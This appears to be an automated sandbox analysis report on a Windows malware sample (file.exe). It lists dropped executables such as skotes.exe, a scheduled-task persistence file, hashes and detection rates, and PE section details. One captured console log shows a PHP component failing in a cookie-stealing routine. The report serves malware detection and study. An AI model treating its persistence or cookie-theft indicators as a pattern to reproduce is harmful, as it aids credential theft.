Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..............................f...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xzifghis..).......)..:..............@...jqrynsft. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4380160
Entropy (8bit):	7.985603194852577
Encrypted:	false
SSDEEP:	98304:T2Slms1dJkjDSe1A4mq15B+gMriRo5cnwcRp1fzRlH0u0OjSs2QG:Tvms1g3MGETX5EwozRp7
MD5:	F1B25767284AA3DBB2EE4B14CF43AF3F
SHA1:	44880C3FC6DCACE137118790A40D1A1A449D8FBC
SHA-256:	738978C433EDB4C822B92CD4C9C07C760174F5AC6826C90DD1A80C26E5F431B6
SHA-512:	F4973CAA1C10835A483DDF41FB9B6367D2CA74EA90DE9156F340EC54F72529726E55BCEFC51552542698D320A85CF515C8A6EE7774A186752AB07F1736803A4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2...p........H...@.................................#.C...@... ............................._pe.s............................_..............................._...................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..7...e......~'.............@...mcbbabgn.0...0...0....'.............@...nvcadkig.....`........B.............@....taggant.0...p..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wkeriqm.2b2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3hdfa0jj.bae.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ccwmmb5g.3gc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ear01r42.nvm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmybbv42.h4h.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3m1f2sp.zhb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnaomn1e.ybu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wuguerq2.rd4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.950199395512185
Encrypted:	false
SSDEEP:	49152:zEpzv75y5AejQ/d7GN5eTRepKtqzUVchzpF9Tcjnc:QJv7lDNGN5eTReEqYVchlF9TC
MD5:	3ED69839F5DFE75F59A6E74815422AB9
SHA1:	7429DC7B9BCC0D3A5719F5B0B64626A5B9A9EF61
SHA-256:	C0329DC59DDE4E5EE3352E3C9E5DF7C407DBEF202AA1AC730BE4BE6A68857D15
SHA-512:	3292C496F9FBAA9C434B760CE5265C9744588FB0AA4BDB1198BF765E8CAC50A1ED12A3C7F4AA0FDBCCD5905C9D37EA939AB5402559BF04EE79AD84837FFDE6A4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@...........................M.....J.....@.................................W...k.......H.....................L.............................D.L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...vcuubckp.p...P2..f..................@...ylpzvsgj......L......\..............@....taggant.0....L.."...`..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.532026876758746
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Uhj4qyaaX86KakfGNBw82JSl:de6quOcwj0
MD5:	74662B665039537755620B0576C7BFFB
SHA1:	0C620C29DA9F65952B625A5714BA7DB4D0443796
SHA-256:	0B3BAAD210A2B860646BDAFA7D15F047BDA20EFD5DBD2CE2091A63992F5FAE1A
SHA-512:	B9E651F4F8814C3CC29B0D38B4A74D819356122739527210D2045EC36DE61D3B826B51ABDCC673EA0E9E2F2E539ABB09752E7DF5D6DBCD04A48D688AF6A783DC
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.532026876758746
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Uhj4qyaaX86KakfGNBw82JSl:de6quOcwj0
MD5:	74662B665039537755620B0576C7BFFB
SHA1:	0C620C29DA9F65952B625A5714BA7DB4D0443796
SHA-256:	0B3BAAD210A2B860646BDAFA7D15F047BDA20EFD5DBD2CE2091A63992F5FAE1A
SHA-512:	B9E651F4F8814C3CC29B0D38B4A74D819356122739527210D2045EC36DE61D3B826B51ABDCC673EA0E9E2F2E539ABB09752E7DF5D6DBCD04A48D688AF6A783DC
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4250435960994037
Encrypted:	false
SSDEEP:	6:TYO5lYXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB3lledt0:x5Mf2RKQ1CGAFAjzvYRQVB32t0
MD5:	EB6CD0D0E42FD87CBB371F6983E7F7BB
SHA1:	F32CD538AFF7C26CA5AC222A4DCA36D62BCD303B
SHA-256:	48B1BEE56A2A847DD992519899729D9341C89C80458B4434CEB677081E03BB7A
SHA-512:	6B3B5CA8BB0ECFB40A9CC134341D6416C8D57F748F929656FB41A451441A5AF305726AAE3755D43399DB5A29DABF231E6853879FEC873B96CA096844B99AC977
Malicious:	false
Reputation:	unknown
Preview:	....M=B+.O.IL.....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	531
Entropy (8bit):	4.947676194738686
Encrypted:	false
SSDEEP:	12:MK5z4WuyjK5z4WyqCZjNpCpptsW9NJtMIZfHS49RcMP2:Mc43yjc4vLZjNMpcGNJtM6fTe
MD5:	AD9F308CC279518C44CC478597D07F24
SHA1:	B12CDA8DBBE5A8EC2A0B325DAB79313462583541
SHA-256:	AD5F48632767E50EA0E9DCD3553F9707ED663313A6CB3730D330C461C1AC8AA0
SHA-512:	58CEE2F04BDC741D51ED3635D945EA2A680EA5EA58496DB51A1AFEF8B9A347B5F759B71E6D43457F286677B3345C34B6BCC27245E593AD39F6399567027C5FB3
Malicious:	false
Reputation:	unknown
Preview:	PHP Warning: Trying to access array offset on value of type null in decoded on line 5.PHP Warning: Trying to access array offset on value of type null in decoded on line 6.Patching ..... please wait 10 secondsPHP Fatal error: Uncaught Exception: Unable to open database: unable to open database file in decoded:651.Stack trace:.#0 decoded(651): SQLite3->__construct().#1 decoded(476): getCookies().#2 C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php(1): exo_execprotstring().#3 {main}. thrown in decoded on line 651.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950199395512185
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'933'824 bytes
MD5:	3ed69839f5dfe75f59a6e74815422ab9
SHA1:	7429dc7b9bcc0d3a5719f5b0b64626a5b9a9ef61
SHA256:	c0329dc59dde4e5ee3352e3c9e5df7c407dbef202aa1ac730be4be6a68857d15
SHA512:	3292c496f9fbaa9c434b760ce5265c9744588fb0aa4bdb1198bf765e8cac50a1ed12a3c7f4aa0fdbccd5905c9d37ea939ab5402559bf04ee79ad84837ffde6a4
SSDEEP:	49152:zEpzv75y5AejQ/d7GN5eTRepKtqzUVchzpF9Tcjnc:QJv7lDNGN5eTReEqYVchlF9TC
TLSH:	EC9533F0B8769F30C72F62BE34F68AF6B99E523A52DF916851963538C14CB813441B4D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8cd000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2C24C1471Ah
punpcklbw mm3, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4cb194	0x10	vcuubckp
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4cb144	0x18	vcuubckp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	73db8cdd942f9053b1761124bca0f51d	False	0.9982491059264306	data	7.985347393706512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x400	531d3ddaa704c23affd5a0bcb3efb5a4	False	0.4921875	data	4.145817421344555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ba000	0x200	67d6581a6a6cb3e9df7027f2a89a1a3a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vcuubckp	0x325000	0x1a7000	0x1a6600	9a2bf389816cd7b7bdbaac571a261970	False	0.9943336832272862	data	7.953569349357789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ylpzvsgj	0x4cc000	0x1000	0x400	d30354b13ee56d0d982951051bf99b04	False	0.7451171875	data	5.88038722928732	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4cd000	0x3000	0x2200	68b84233728d01ef15d5e3a464b35bd7	False	0.05801930147058824	DOS executable (COM)	0.7428966706059856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
